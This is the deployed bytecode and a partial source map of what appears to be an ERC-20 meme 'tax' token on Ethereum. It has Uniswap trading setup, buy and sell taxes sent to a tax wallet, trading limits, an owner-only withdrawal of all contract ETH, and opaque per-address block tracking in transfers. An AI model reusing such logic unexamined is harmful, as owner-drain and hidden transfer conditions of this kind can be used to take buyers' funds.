0x60806040526004361061011e575f3560e01c8063747293231161009d57806395d89b411161006257806395d89b4114610311578063a9059cbb1461033e578063bf474bed1461035d578063c9567bf914610372578063dd62ed3e14610386575f80fd5b806374729323146102a3578063751039fc146102b75780637d1db4a5146102cb5780638da5cb5b146102e05780638f9a55c0146102fc575f80fd5b8063313ce567116100e3578063313ce567146101f357806349bd5a5e1461020e57806351bc3c851461024557806370a082311461025b578063715018a61461028f575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a29b434b5b7b5ba96a5bab760a91b60208201525b60405161016591906116a1565b60405180910390f35b348015610179575f80fd5b5061018d6101883660046116ea565b6103ca565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260105481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103e0565b3480156101df575f80fd5b5061018d6101ee366004611714565b610401565b3480156101fe575f80fd5b5060405160098152602001610165565b348015610219575f80fd5b5060125461022d906001600160a01b031681565b6040516001600160a01b039091168152602001610165565b348015610250575f80fd5b50610259610468565b005b348015610266575f80fd5b506101b2610275366004611752565b6001600160a01b03165f9081526001602052604090205490565b34801561029a575f80fd5b506102596104d0565b3480156102ae575f80fd5b5061025961054a565b3480156102c2575f80fd5b506102596105ad565b3480156102d6575f80fd5b506101b2600d5481565b3480156102eb575f80fd5b505f546001600160a01b031661022d565b348015610307575f80fd5b506101b2600e5481565b34801561031c575f80fd5b5060408051808201909152600581526425a7a5aaa760d91b6020820152610158565b348015610349575f80fd5b5061018d6103583660046116ea565b610661565b348015610368575f80fd5b506101b2600f5481565b34801561037d575f80fd5b5061025961066d565b348015610391575f80fd5b506101b26103a036600461176d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d6338484610a1e565b5060015b92915050565b5f6103ed6009600a61189b565b6103fc9064a0a73474006118a9565b905090565b5f61040d848484610b42565b61045e843361045985604051806060016040528060288152602001611a3c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ef565b610a1e565b5060019392505050565b600c546001600160a01b0316336001600160a01b031614610487575f80fd5b305f9081526001602052604090205480158015906104ae5750601254600160b01b900460ff165b156104bc576104bc81611127565b4780156104cc576104cc81611297565b5050565b5f546001600160a01b031633146105025760405162461bcd60e51b81526004016104f9906118c0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105735760405162461bcd60e51b81526004016104f9906118c0565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156105aa573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105d65760405162461bcd60e51b81526004016104f9906118c0565b6105e26009600a61189b565b6105f19064a0a73474006118a9565b600d556106006009600a61189b565b61060f9064a0a73474006118a9565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063f6009600a61189b565b61064e9064a0a73474006118a9565b60405190815260200160405180910390a1565b5f6103d6338484610b42565b5f546001600160a01b031633146106965760405162461bcd60e51b81526004016104f9906118c0565b601254600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073a90309061072b6009600a61189b565b6104599064a0a73474006118a9565b6012805460ff60a01b1916600160a01b1790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa158015610795573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b991906118f5565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610818573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083c91906118f5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa91906118f5565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108f1816001600160a01b03165f9081526001602052604090205490565b5f806109045f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611910565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a08919061193b565b506012805460ff60b01b1916600160b01b179055565b6001600160a01b038316610a805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610ae15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ba65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610c085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b5f8111610c695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b601254600160a81b900460ff1680610c8b5750601254600160a01b900460ff16155b15610ca057610c9b8383836112ce565b505050565b5f80546001600160a01b03858116911614801590610ccb57505f546001600160a01b03848116911614155b8015610ce55750600c546001600160a01b03848116911614155b15610f3e57610d166064610d10600854600b5411610d0557600454610d09565b6006545b8590611371565b906113f6565b6012549091506001600160a01b038581169116148015610d4457506011546001600160a01b03848116911614155b8015610d6857506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4e57600d54821115610dbf5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f9565b600e5482610de1856001600160a01b03165f9081526001602052604090205490565b610deb919061195a565b1115610e395760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f9565b600b8054905f610e488361196d565b91905055505b6012546001600160a01b038481169116148015610e7457506001600160a01b0384163014155b15610ea157610e9e6064610d10600954600b5411610e9457600554610d09565b6007548590611371565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610ed757506012546001600160a01b038581169116145b8015610eec5750601254600160b01b900460ff165b8015610ef95750600f5481115b8015610f085750600a54600b54115b15610f3c57610f2a610f2584610f2084601054611437565b611437565b611127565b478015610f3a57610f3a47611297565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f7b57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f9057506001600160a01b0384163014155b8015610fa557506001600160a01b0383163014155b15610faf57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fef57506001600160a01b0383165f9081526003602052604090205460ff16155b156110dd576012546001600160a01b03848116911614611098576001600160a01b038084165f9081526015602052604090206012549091908116908616036110605780545f0361105b57600b54600a54101561104d57438155611092565b611058600143611985565b81555b611092565b6001600160a01b0385165f90815260156020526040902081541580611086575080548254115b1561109057805482555b505b506110dd565b601254600160b01b900460ff16156110dd576001600160a01b0384165f90815260156020526040902060145481546110d09190611985565b6002820155426001909101555b6110e98484848461144b565b50505050565b5f81848411156111125760405162461bcd60e51b81526004016104f991906116a1565b505f61111e8486611985565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061116d5761116d611998565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e891906118f5565b816001815181106111fb576111fb611998565b6001600160a01b0392831660209182029290920101526011546112219130911684610a1e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112599085905f908690309042906004016119ac565b5f604051808303815f87803b158015611270575f80fd5b505af1158015611282573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104cc573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112f09082611475565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461131e90826114b6565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b359085815260200190565b5f825f0361138057505f6103da565b5f61138b83856118a9565b9050826113988583611a1c565b146113ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b9392505050565b5f6113ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611514565b5f81831161144557826113ef565b50919050565b5f611457858484611540565b905061146e8585836114698787611475565b6115f0565b5050505050565b5f6113ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ef565b5f806114c2838561195a565b9050838110156113ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b5f81836115345760405162461bcd60e51b81526004016104f991906116a1565b505f61111e8486611a1c565b600c545f9081906001600160a01b039081169086160361156c576013546115679085611371565b61156e565b835b905082156115e857305f9081526001602052604090205461158f90846114b6565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115df9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116129083611475565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461164090826114b6565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116939085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105aa575f80fd5b5f80604083850312156116fb575f80fd5b8235611706816116d6565b946020939093013593505050565b5f805f60608486031215611726575f80fd5b8335611731816116d6565b92506020840135611741816116d6565b929592945050506040919091013590565b5f60208284031215611762575f80fd5b81356113ef816116d6565b5f806040838503121561177e575f80fd5b8235611789816116d6565b91506020830135611799816116d6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117f3578085048111156117d7576117d76117a4565b60018416156117e557908102905b60019390931c9280026117bc565b935093915050565b5f82611809575060016103da565b8161181557505f6103da565b816001811461182b576002811461183557611851565b60019150506103da565b60ff841115611846576118466117a4565b50506001821b6103da565b5060208310610133831016604e8410600b8410161715611874575081810a6103da565b6118805f1984846117b8565b805f1904821115611893576118936117a4565b029392505050565b5f6113ef60ff8416836117fb565b80820281158282048414176103da576103da6117a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611905575f80fd5b81516113ef816116d6565b5f805f60608486031215611922575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561194b575f80fd5b815180151581146113ef575f80fd5b808201808211156103da576103da6117a4565b5f6001820161197e5761197e6117a4565b5060010190565b818103818111156103da576103da6117a4565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119fc5783516001600160a01b03168352602093840193909201916001016119d5565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611a3657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202316f35955b7510fedefc2f3af87503c0ee49c696231fd4a4906220dedf2585f64736f6c634300081a0033

Deployed Bytecode Sourcemap

3906:10592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5933:83;;;;;;;;;;-1:-1:-1;6003:5:0;;;;;;;;;;;;-1:-1:-1;;;6003:5:0;;;;5933:83;;;;;;;:::i;:::-;;;;;;;;6766:211;;;;;;;;;;-1:-1:-1;6766:211:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6766:211:0;945:187:1;4973:55:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4973:55:0;1137:177:1;6210:95:0;;;;;;;;;;;;;:::i;6985:412::-;;;;;;;;;;-1:-1:-1;6985:412:0;;;;;:::i;:::-;;:::i;6119:83::-;;;;;;;;;;-1:-1:-1;6119:83:0;;4699:1;1974:36:1;;1962:2;1947:18;6119:83:0;1832:184:1;5090:28:0;;;;;;;;;;-1:-1:-1;5090:28:0;;;;-1:-1:-1;;;;;5090:28:0;;;;;;-1:-1:-1;;;;;2185:32:1;;;2167:51;;2155:2;2140:18;5090:28:0;2021:203:1;14130:365:0;;;;;;;;;;;;;:::i;:::-;;6313:119;;;;;;;;;;-1:-1:-1;6313:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;2958:148;;;;;;;;;;;;;:::i;14009:113::-;;;;;;;;;;;;;:::i;13027:163::-;;;;;;;;;;;;;:::i;4777:56::-;;;;;;;;;;;;;;;;2744:79;;;;;;;;;;-1:-1:-1;2782:7:0;2809:6;-1:-1:-1;;;;;2809:6:0;2744:79;;4840:58;;;;;;;;;;;;;;;;6024:87;;;;;;;;;;-1:-1:-1;6096:7:0;;;;;;;;;;;;-1:-1:-1;;;6096:7:0;;;;6024:87;;6440:167;;;;;;;;;;-1:-1:-1;6440:167:0;;;;;:::i;:::-;;:::i;4905:61::-;;;;;;;;;;;;;;;;13298:666;;;;;;;;;;;;;:::i;6615:143::-;;;;;;;;;;-1:-1:-1;6615:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6723:18:0;;;6696:7;6723:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6615:143;6766:211;6841:4;6858:89;181:10;6908:7;6930:6;6858:8;:89::i;:::-;-1:-1:-1;6965:4:0;6766:211;;;;;:::o;6210:95::-;6263:7;4757:13;4699:1;4757:2;:13;:::i;:::-;4742:28;;:12;:28;:::i;:::-;6283:14;;6210:95;:::o;6985:412::-;7083:4;7100:36;7110:6;7118:9;7129:6;7100:9;:36::i;:::-;7147:220;7170:6;181:10;7218:138;7274:6;7218:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7218:19:0;;;;;;:11;:19;;;;;;;;181:10;7218:33;;;;;;;;;;:37;:138::i;:::-;7147:8;:220::i;:::-;-1:-1:-1;7385:4:0;6985:412;;;;;:::o;14130:365::-;14194:10;;-1:-1:-1;;;;;14194:10:0;181;-1:-1:-1;;;;;14180:24:0;;14172:33;;;;;;14255:4;14216:20;6406:18;;;:9;:18;;;;;;14277:14;;;;;:29;;-1:-1:-1;14295:11:0;;-1:-1:-1;;;14295:11:0;;;;14277:29;14274:88;;;14320:30;14337:12;14320:16;:30::i;:::-;14391:21;14426:12;;14423:65;;14452:24;14465:10;14452:12;:24::i;:::-;14161:334;;14130:365::o;2958:148::-;2871:6;;-1:-1:-1;;;;;2871:6:0;181:10;2871:22;2863:67;;;;-1:-1:-1;;;2863:67:0;;;;;;;:::i;:::-;;;;;;;;;3065:1:::1;3049:6:::0;;3028:40:::1;::::0;-1:-1:-1;;;;;3049:6:0;;::::1;::::0;3028:40:::1;::::0;3065:1;;3028:40:::1;3096:1;3079:19:::0;;-1:-1:-1;;;;;;3079:19:0::1;::::0;;2958:148::o;14009:113::-;2871:6;;-1:-1:-1;;;;;2871:6:0;181:10;2871:22;2863:67;;;;-1:-1:-1;;;2863:67:0;;;;;;;:::i;:::-;2782:7;2809:6;;14066:48:::1;::::0;-1:-1:-1;;;;;2809:6:0;;;;14092:21:::1;14066:48:::0;::::1;;;::::0;14092:21;;14066:48;2782:7;14066:48;14092:21;2809:6;14066:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14009:113::o:0;13027:163::-;2871:6;;-1:-1:-1;;;;;2871:6:0;181:10;2871:22;2863:67;;;;-1:-1:-1;;;2863:67:0;;;;;;;:::i;:::-;4757:13:::1;4699:1;4757:2;:13;:::i;:::-;4742:28;::::0;:12:::1;:28;:::i;:::-;13083:12;:21:::0;4757:13:::1;4699:1;4757:2;:13;:::i;:::-;4742:28;::::0;:12:::1;:28;:::i;:::-;13115:14;:22:::0;13155:27:::1;4757:13;4699:1;4757:2;:13;:::i;:::-;4742:28;::::0;:12:::1;:28;:::i;:::-;13155:27;::::0;1283:25:1;;;1271:2;1256:18;13155:27:0::1;;;;;;;13027:163::o:0;6440:167::-;6518:4;6535:42;181:10;6559:9;6570:6;6535:9;:42::i;13298:666::-;2871:6;;-1:-1:-1;;;;;2871:6:0;181:10;2871:22;2863:67;;;;-1:-1:-1;;;2863:67:0;;;;;;;:::i;:::-;13362:11:::1;::::0;-1:-1:-1;;;13362:11:0;::::1;;;13361:12;13353:47;;;::::0;-1:-1:-1;;;13353:47:0;;5174:2:1;13353:47:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;13353:47:0::1;4972:347:1::0;13353:47:0::1;13411:15;:80:::0;;-1:-1:-1;;;;;;13411:80:0::1;13448:42;13411:80:::0;;::::1;::::0;;;13502:57:::1;::::0;13519:4:::1;::::0;4757:13:::1;4699:1;4757:2;:13;:::i;:::-;4742:28;::::0;:12:::1;:28;:::i;13502:57::-;13570:11;:17:::0;;-1:-1:-1;;;;13570:17:0::1;-1:-1:-1::0;;;13570:17:0::1;::::0;;13632:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;13632:25:0;;;;-1:-1:-1;;;;;13632:15:0;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13614:55:0::1;;13678:4;13684:15;;;;;;;;;-1:-1:-1::0;;;;;13684:15:0::1;-1:-1:-1::0;;;;;13684:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13614:93;::::0;-1:-1:-1;;;;;;13614:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;13614:93:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;13614:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13598:13;:109:::0;;-1:-1:-1;;;;;13598:109:0;;::::1;-1:-1:-1::0;;;;;;13598:109:0;;::::1;;::::0;;13718:15:::1;::::0;::::1;:31;13757:21;13788:4;13794:24;13788:4:::0;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;13794:24:::1;13819:1;13821::::0;13823:7:::1;2782::::0;2809:6;-1:-1:-1;;;;;2809:6:0;;2744:79;13823:7:::1;13718:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13718:129:0;;;-1:-1:-1;;;;;6206:32:1;;;13718:129:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;13831:15:0::1;6454:19:1::0;;;6447:35;6160:19;;13718:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13865:13:0::1;::::0;13896:15:::1;::::0;13858:70:::1;::::0;-1:-1:-1;;;13858:70:0;;-1:-1:-1;;;;;13896:15:0;;::::1;13858:70;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;13865:13:0;::::1;::::0;-1:-1:-1;13858:29:0::1;::::0;7101:18:1;;13858:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13939:11:0::1;:17:::0;;-1:-1:-1;;;;13939:17:0::1;-1:-1:-1::0;;;13939:17:0::1;::::0;;13298:666::o;7405:335::-;-1:-1:-1;;;;;7498:19:0;;7490:68;;;;-1:-1:-1;;;7490:68:0;;7717:2:1;7490:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7490:68:0;7515:400:1;7490:68:0;-1:-1:-1;;;;;7577:21:0;;7569:68;;;;-1:-1:-1;;;7569:68:0;;8122:2:1;7569:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7569:68:0;7920:398:1;7569:68:0;-1:-1:-1;;;;;7648:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7700:32;;1283:25:1;;;7700:32:0;;1256:18:1;7700:32:0;;;;;;;;7405:335;;;:::o;8010:3343::-;-1:-1:-1;;;;;8103:18:0;;8095:68;;;;-1:-1:-1;;;8095:68:0;;8525:2:1;8095:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;8095:68:0;8323:401:1;8095:68:0;-1:-1:-1;;;;;8182:16:0;;8174:64;;;;-1:-1:-1;;;8174:64:0;;8931:2:1;8174:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;8174:64:0;8729:399:1;8174:64:0;8273:1;8259:11;:15;8251:69;;;;-1:-1:-1;;;8251:69:0;;9335:2:1;8251:69:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;8251:69:0;9133:405:1;8251:69:0;8337:6;;-1:-1:-1;;;8337:6:0;;;;;:22;;-1:-1:-1;8348:11:0;;-1:-1:-1;;;8348:11:0;;;;8347:12;8337:22;8333:114;;;8377:37;8392:4;8398:2;8402:11;8377:14;:37::i;:::-;8010:3343;;;:::o;8333:114::-;8459:17;2809:6;;-1:-1:-1;;;;;8496:15:0;;;2809:6;;8496:15;;;;:32;;-1:-1:-1;2782:7:0;2809:6;-1:-1:-1;;;;;8515:13:0;;;2809:6;;8515:13;;8496:32;:52;;;;-1:-1:-1;8538:10:0;;-1:-1:-1;;;;;8532:16:0;;;8538:10;;8532:16;;8496:52;8492:1378;;;8577:124;8697:3;8577:93;8624:15;;8612:9;;:27;8611:58;;8655:14;;8611:58;;;8641:12;;8611:58;8577:11;;:33;:93::i;:::-;:119;;:124::i;:::-;8730:13;;8565:136;;-1:-1:-1;;;;;;8722:21:0;;;8730:13;;8722:21;:55;;;;-1:-1:-1;8761:15:0;;-1:-1:-1;;;;;8747:30:0;;;8761:15;;8747:30;;8722:55;:85;;;;-1:-1:-1;;;;;;8784:23:0;;;;;;:19;:23;;;;;;;;8782:25;8722:85;8718:318;;;8849:12;;8836:11;:25;;8828:63;;;;-1:-1:-1;;;8828:63:0;;9745:2:1;8828:63:0;;;9727:21:1;9784:2;9764:18;;;9757:30;9823:27;9803:18;;;9796:55;9868:18;;8828:63:0;9543:349:1;8828:63:0;8945:14;;8932:11;8918:13;8928:2;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;8918:13;:25;;;;:::i;:::-;:41;;8910:80;;;;-1:-1:-1;;;8910:80:0;;10229:2:1;8910:80:0;;;10211:21:1;10268:2;10248:18;;;10241:30;10307:28;10287:18;;;10280:56;10353:18;;8910:80:0;10027:350:1;8910:80:0;9009:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8718:318;9059:13;;-1:-1:-1;;;;;9055:17:0;;;9059:13;;9055:17;:41;;;;-1:-1:-1;;;;;;9076:20:0;;9091:4;9076:20;;9055:41;9052:226;;;9129:133;9258:3;9129:98;9178:16;;9168:9;;:26;9167:59;;9211:15;;9167:59;;;9196:13;;9129:11;;:37;:98::i;:133::-;9117:145;;9052:226;9343:4;9294:28;6406:18;;;:9;:18;;;;;;9387:6;;-1:-1:-1;;;9387:6:0;;;;9386:7;:47;;;;-1:-1:-1;9420:13:0;;-1:-1:-1;;;;;9414:19:0;;;9420:13;;9414:19;9386:47;:62;;;;-1:-1:-1;9437:11:0;;-1:-1:-1;;;9437:11:0;;;;9386:62;:123;;;;;9492:17;;9469:20;:40;9386:123;:157;;;;;9525:18;;9513:9;;:30;9386:157;9364:495;;;9578:72;9595:54;9599:11;9611:37;9615:20;9636:11;;9611:3;:37::i;:::-;9595:3;:54::i;:::-;9578:16;:72::i;:::-;9698:21;9742:22;;9738:106;;9789:35;9802:21;9789:12;:35::i;:::-;9559:300;9364:495;8550:1320;8492:1378;-1:-1:-1;;;;;9887:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;9916:23:0;;;;;;:19;:23;;;;;;;;9887:52;9886:77;;;;-1:-1:-1;;;;;;9944:19:0;;9958:4;9944:19;;9886:77;:98;;;;-1:-1:-1;;;;;;9967:17:0;;9979:4;9967:17;;9886:98;9882:163;;;10021:12;10001:17;:32;9882:163;-1:-1:-1;;;;;10074:25:0;;;;;;:19;:25;;;;;;;;10073:26;:68;;;;-1:-1:-1;;;;;;10118:23:0;;;;;;:19;:23;;;;;;;;10117:24;10073:68;10055:1233;;;10171:13;;-1:-1:-1;;;;;10171:19:0;;;:13;;:19;10167:1110;;-1:-1:-1;;;;;10244:14:0;;;10212:29;10244:14;;;:10;:14;;;;;10289:13;;10244:14;;10289:13;;;10281:21;;;;10277:714;;10331:23;;;:28;10327:321;;10411:9;;10392:18;;:28;10388:237;;;10479:12;10453:38;;10277:714;;10388:237;10582:15;10596:1;10582:12;:15;:::i;:::-;10556:41;;10388:237;10277:714;;;-1:-1:-1;;;;;10733:16:0;;10696:34;10733:16;;;:10;:16;;;;;10778:23;;:27;;10776:88;;-1:-1:-1;10836:28:0;;10810:23;;:54;10776:88;10772:200;;;10920:28;;10894:54;;10772:200;10673:318;10277:714;10193:813;10167:1110;;;11015:11;;-1:-1:-1;;;11015:11:0;;;;11012:265;;;-1:-1:-1;;;;;11084:16:0;;11047:34;11084:16;;;:10;:16;;;;;11180:17;;11151:28;;:46;;11180:17;11151:46;:::i;:::-;11119:29;;;:78;11246:15;11216:27;;;;:45;11012:265;11300:45;11315:4;11320:2;11323:11;11335:9;11300:14;:45::i;:::-;8084:3269;8010:3343;;;:::o;1575:190::-;1661:7;1697:12;1689:6;;;;1681:29;;;;-1:-1:-1;;;1681:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1721:9:0;1733:5;1737:1;1733;:5;:::i;:::-;1721:17;1575:190;-1:-1:-1;;;;;1575:190:0:o;12534:485::-;5558:6;:13;;-1:-1:-1;;;;5558:13:0;-1:-1:-1;;;5558:13:0;;;12636:16:::1;::::0;;12650:1:::1;12636:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12636:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12636:16:0::1;12612:40;;12683:4;12665;12670:1;12665:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12665:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12709:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12709:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12665:7;;12709:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12699:4;12704:1;12699:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12699:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12774:15:::1;::::0;12742:62:::1;::::0;12759:4:::1;::::0;12774:15:::1;12792:11:::0;12742:8:::1;:62::i;:::-;12815:15;::::0;:196:::1;::::0;-1:-1:-1;;;12815:196:0;;-1:-1:-1;;;;;12815:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12896:11;;12815:15:::1;::::0;12938:4;;12965::::1;::::0;12985:15:::1;::::0;12815:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5594:6:0;:14;;-1:-1:-1;;;;5594:14:0;;;-1:-1:-1;;;;12534:485:0:o;13198:92::-;13255:10;;:27;;-1:-1:-1;;;;;13255:10:0;;;;:27;;;;;13275:6;;13255:10;:27;:10;:27;13275:6;13255:10;:27;;;;;;;;;;;;;;;;;;;7748:254;-1:-1:-1;;;;;7857:15:0;;;;;;:9;:15;;;;;;:32;;